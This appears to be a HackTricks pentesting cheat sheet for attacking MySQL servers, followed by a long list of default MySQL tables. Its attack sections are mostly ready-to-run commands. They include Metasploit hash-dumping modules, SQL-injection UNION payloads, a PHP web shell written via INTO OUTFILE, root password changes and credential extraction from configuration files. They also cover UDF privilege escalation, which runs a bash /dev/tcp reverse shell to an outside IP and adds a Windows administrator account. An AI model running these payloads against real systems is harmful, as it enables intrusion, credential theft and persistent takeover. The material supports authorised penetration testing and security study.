3306 - Pentesting Mysql

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Basic Information
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). From here.
Default port: 3306
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3306/tcp open  mysql
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Connect
Local
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mysql -u root # Connect to root without password
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mysql -u root -p # A password will be asked (check someone)
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Remote
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mysql -h <Hostname> -u root
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mysql -h <Hostname> -u [email protected]
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External Enumeration
Some of the enumeration actions require valid credentials
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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
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msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
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msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
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​Brute force​
Write any binary data
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CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
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CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
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MySQL commands
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show databases;
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use <database>;
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show tables;
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describe <table_name>;
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​
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select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
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select user,file_priv from mysql.user where user='root'; #File privileges
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select version(); #version
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select @@version(); #version
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select user(); #User
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select database(); #database name
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​
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#Get a shell with the mysql client user
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\! sh
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​
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#Basic MySQLi
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Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
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Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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​
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#Read & Write
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
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select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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​
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#Try to change MySQL root password
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UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
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UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
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FLUSH PRIVILEGES;
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quit;
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mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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MySQL arbitrary read file by client
Actually, when you try to load data local into a table the content of a file the MySQL or MariaDB server asks the client to read it and send the content. Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.
Please notice that this is the behaviour using:
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load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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(Notice the "local" word)
Because without the "local" you can get:
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mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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​
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ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
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Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
In this paper you can see a complete description of the attack and even how to extend it to RCE: https://paper.seebug.org/1113/
Here you can find an overview of the attack: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/​
POST
Mysql User
It will be very interesting if mysql is running as root:
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cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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Privilege escalation
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# Get current user (an all users) privileges and hashes
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use mysql;
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select user();
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select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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​
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# Bash oneliner to get creds
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mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
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​
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# Create user and give privileges
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create user test identified by 'test';
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grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
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​
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# Get a shell (with your permissions, usefull for sudo/suid privesc)
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\! sh
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Privilege Escalation via library
If the mysql server is running as root (or a different more privileged user) you can make it execute commands. For that, you need to use user defined functions. And to create a user defined you will need a library for the OS that is running mysql.
The malicious library to use can be found inside sqlmap and inside metasploit by doing locate "*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones, choose the one you need.
If you don't have those libraries, you can either look for them, or download this linux C code and compile it inside the linux vulnerable machine:
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gcc -g -c raptor_udf2.c
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gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
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Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:
Linux
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
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## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
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show variables like '%plugin%';
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# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
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# dump in there the library
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select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
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# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
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select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
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select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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Windows
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# CHech the linux comments for more indications
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USE mysql;
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CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
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show variables like '%plugin%';
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
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CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
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SELECT sys_exec("net user npn npn12345678 /add");
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SELECT sys_exec("net localgroup Administrators npn /add");
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Extracting MySQL credentials from files
Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-maint
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cat /etc/mysql/debian.cnf
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You can use these credentials to login in the mysql database.
Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL users (the ones that you can extract from mysql.user inside the database).
You can extract them doing:
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grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
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Enabling logging
You can enable logging of mysql queries inside /etc/mysql/my.cnf uncommenting the following lines:
Useful files
Configuration Files
windows *
config.ini
my.ini
windows\my.ini
winnt\my.ini
<InstDir>/mysql/data/
unix
my.cnf
/etc/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
~/.my.cnf
/etc/my.cnf
Command History
~/.mysql.history
Log Files
connections.log
update.log
common.log
Default MySQL Database/Tables
information_schema
mysql
performance_schema
sys
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user
accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread
host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency
HackTricks Automatic Commands
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Protocol_Name: MySql    #Protocol Abbreviation if there is one.
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Port_Number:  3306     #Comma separated if there is more than one.
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Protocol_Description: MySql     #Protocol Abbreviation Spelled out
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​
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Entry_1:
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  Name: Notes
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  Description: Notes for MySql
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  Note: |
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    MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
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​
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    https://book.hacktricks.xyz/pentesting/pentesting-mysql
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​
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Entry_2:
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  Name: Nmap
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  Description: Nmap with MySql Scripts
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  Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
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​
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Entry_3:
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  Name: MySql
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  Description: Attempt to connect to mysql server
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  Command: mysql -h {IP} -u {Username}@localhost
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Entry_4:
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  	Name: MySql consolesless mfs enumeration
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  	Description: MySql enumeration without the need to run msfconsole
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  	Note: sourced from https://github.com/carlospolop/legion
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  	Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' 
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